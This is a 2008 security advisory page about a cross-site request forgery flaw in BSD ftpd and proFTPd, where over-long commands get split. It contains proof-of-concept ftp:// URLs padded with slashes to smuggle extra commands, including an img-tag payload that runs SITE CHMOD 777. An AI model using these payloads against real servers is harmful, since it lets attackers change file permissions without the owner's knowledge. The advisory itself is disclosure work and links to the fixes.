SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Details : SecurityReason Advisory

Arrow  Topic : multiple vendor ftpd - Cross-site request forgery
Arrow  SecurityAlert : 56
  CVE : CVE-2008-4247
  CVE : CVE-2008-4242
Arrow  SecurityRisk : Low  Security Risk Low  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Exploit Given : No
Arrow  Credit : Maksymilian Arciemowicz
Arrow  Date : 26.09.2008

Arrow  Affected Software :
- Affected systems:
+ OpenBSD
+ NetBSD
+ FreeBSD
+ some linux
- Affected applications:
+ proFTPd
+ others

FREEWARE Network Scanner Security Events Montoring
Detect network vulnerabilities. Freeware dld! Monitor event logs for security. Dld 30-day eval!

Arrow  Advisory Text :  

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

[ multiple vendor ftpd - Cross-site request forgery ]

Author: Maksymilian Arciemowicz
securityreason.com
Date:
- - Written: 03.09.2008
- - Public: 26.09.2008

SecurityReason Research
SecurityAlert Id: 56

CVE: not assigned
SecurityRisk: Low

Affected Software:
This problem has been discovered on OpenBSD 4.3 .
- - Affected systems:
+ OpenBSD
+ NetBSD
+ FreeBSD
+ some linux
- - Affected applications:
+ proFTPd
+ others

Advisory URL:
http://securityreason.com/achievement_securityalert/56


- --- 0.Description ---
ftpd -- Internet File Transfer Protocol server

The ftpd utility is the Internet File Transfer Protocol server process. The
server uses the TCP protocol and listens at the port specified with the -P
option or in the ``ftp'' service specification; see services(5).

Cross-site request forgery, also known as one click attack, sidejacking or
session riding and abbreviated as CSRF (Sea-Surf[1]) or XSRF, is a type of
malicious exploit of a website whereby unauthorized commands are
transmitted from a user the website trusts. Contrary to cross-site
scripting (XSS), which exploits the trust a user has for a particular site,
cross-site request forgery exploits the trust that a site has for a
particular user.

http://en.wikipedia.org/wiki/Cross-site_request_forgery

- --- 1. ftpd bsd - Cross-site request forgery ---
The main problem exists in dividing long command for few others. The
problem stems from the fact the use of the loop for(;;) and function
fgets().

Example:
Command
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAA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AAAAAAAAAAAAAAAAAAAAAAAA
AAAAAA'


When we try request to ftp deamon via browsers and path is longer 512<, our
URL will be split.

/* FreeBSD 7.0 */
ftp://cxib@127.0.0.1///////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////
//SYST

return result from SYST command:
215 UNIX Type: L8 Version: BSD-199506


/* NetBSD 4.0 */
ftp://ftp.netbsd.org///////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////
//SYST

return result from SYST command:
215 UNIX Type: L8 Version: NetBSD-ftpd 20080609

The situation, can be dangerous, when this bug will be exploited like any
CSRF attack. We can use SITE CHMOD command to change file permission or
other combinations with ftp commands. Only we need some exploit and luck,
that admin will executed exploited url.

How to exploit it?

0.
Creating some html file with <img> tags
<img src="ftp://.....////SITE%20CHMOD%20777%20FILENAME">
...

1.
Give preparing URL for user.

Example:
ftp://ftp.netbsd.org///////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////
//SITE%20CHMOD%20777%20EXAMPLEFILE

will change permision to EXAMPLEFILE when the owner will use this URL.

I think, it should be some byte, what inform about overflowing (empty
command should nulling this byte). We have diagnosed this issue on BSD
systems. Unfortunately, we do not know exactly how many machines can be
affected.

- --- 2. How to fix ---
OpenBSD has been first informed. Fix is avalible on cvs:

http://www.openbsd.org/cgi-bin/cvsweb/src/libexec/ftpd/ftpd.c
http://www.openbsd.org/cgi-bin/cvsweb/src/libexec/ftpd/extern.h
http://www.openbsd.org/cgi-bin/cvsweb/src/libexec/ftpd/ftpcmd.y

Thanks for OpenBSD Team.

NetBSD:
http://cvsweb.netbsd.org/bsdweb.cgi/src/libexec/ftpd/ftpd.c

proFTPd:
http://bugs.proftpd.org/show_bug.cgi?id=3115

SecurityReason has informed only BSD developers and proFTPd Team.

- --- 3. Greets ---
sp3x infospec p_e_a pi3 schain

- --- 4. Contact ---
Author: SecurityReason [ Maksymilian Arciemowicz ( cXIb8O3 ) ]
Email: cxib [at] securityreason [dot] com
GPG: http://securityreason.pl/key/Arciemowicz.Maksymilian.gpg
http://securityreason.com
http://securityreason.pl

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.8 (OpenBSD)

iEYEARECAAYFAkjdBroACgkQpiCeOKaYa9aiFgCfSMm4Pb+2ELGr6WVNWcJHWz+8
3NgAoN6Owug0ezaLFqJ65xyrrDImtX3J
=8Rij
-----END PGP SIGNATURE-----

Alert

libc:fts_*() Multiple Denial of Service

Security Risk Medium- 2009-10-02

The fts functions are provided for traversing UNIX file hierarchies...

Apache RSS Apache Alert

» Apache 1.3.41 mod_proxy
   Integer overflow (code
   execution)

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion in work
   directory

» Apache Tomcat 6.0.20 and
   5.5.28 insecure partial
   deploy after failed
   undeploy

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion and/or
   alteration

PHP RSS PHP Alert

» PHP 5.2.12/5.3.1 Multiple
   Vulnerabilities

» PHP 5.2.11 libgd multiple
   vulnerabilities

» PHP 5.2.11 tempnam()
   safe_mode bypass

» PHP 5.3.0 5.2.11
   posix_mkfifo()
   open_basedir bypass

Copyright © SecurityReason.com. All Rights Reserved.